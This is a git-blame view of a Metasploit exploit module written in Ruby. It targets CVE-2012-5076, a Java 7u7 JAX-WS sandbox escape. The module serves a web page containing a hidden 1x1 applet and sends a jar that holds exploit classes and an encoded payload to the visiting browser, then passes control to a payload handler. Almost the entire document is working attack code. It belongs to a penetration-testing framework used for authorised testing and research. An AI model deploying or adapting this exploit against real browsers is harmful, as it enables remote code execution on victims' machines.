Files
metasploit-gs/modules/exploits/multi/browser/java_jre17_jaxws.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

115 lines
3.3 KiB
Ruby
Raw Normal View History

2012-11-11 17:05:51 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-11-11 17:05:51 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-11-11 17:05:51 +01:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({ :javascript => false })
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet JAX-WS Remote Code Execution',
'Description' => %q{
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in November of 2012. The
vulnerability affects Java version 7u7 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez' # metasploit module
],
'References' =>
[
[ 'CVE', '2012-5076' ],
[ 'OSVDB', '86363' ],
2012-11-11 17:48:57 +01:00
[ 'BID', '56054' ],
2012-11-11 17:05:51 +01:00
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
2012-11-17 01:24:12 -06:00
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]
2012-11-11 17:05:51 +01:00
],
'Platform' => %w{ java win },
2012-11-11 17:05:51 +01:00
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
2012-11-11 17:28:48 +01:00
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
2012-11-11 17:05:51 +01:00
]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-10-16'
2012-11-11 17:05:51 +01:00
))
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
print_status("#{self.name} handling request")
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
paths = [
[ "Exploit.class" ],
[ "MyPayload.class" ]
]
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
p = regenerate_payload(cli)
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
jar = p.encoded_jar
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
2013-09-26 20:34:48 +01:00
fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2012-5076", path ), "rb")
2012-11-11 17:05:51 +01:00
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
handler( cli )
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
def generate_html
2012-11-11 20:19:20 +01:00
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
2012-11-11 17:05:51 +01:00
html = "<html><head></head>"
html += "<body>"
2012-11-11 20:19:20 +01:00
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
2012-11-11 17:05:51 +01:00
html += "</applet></body></html>"
return html
end
end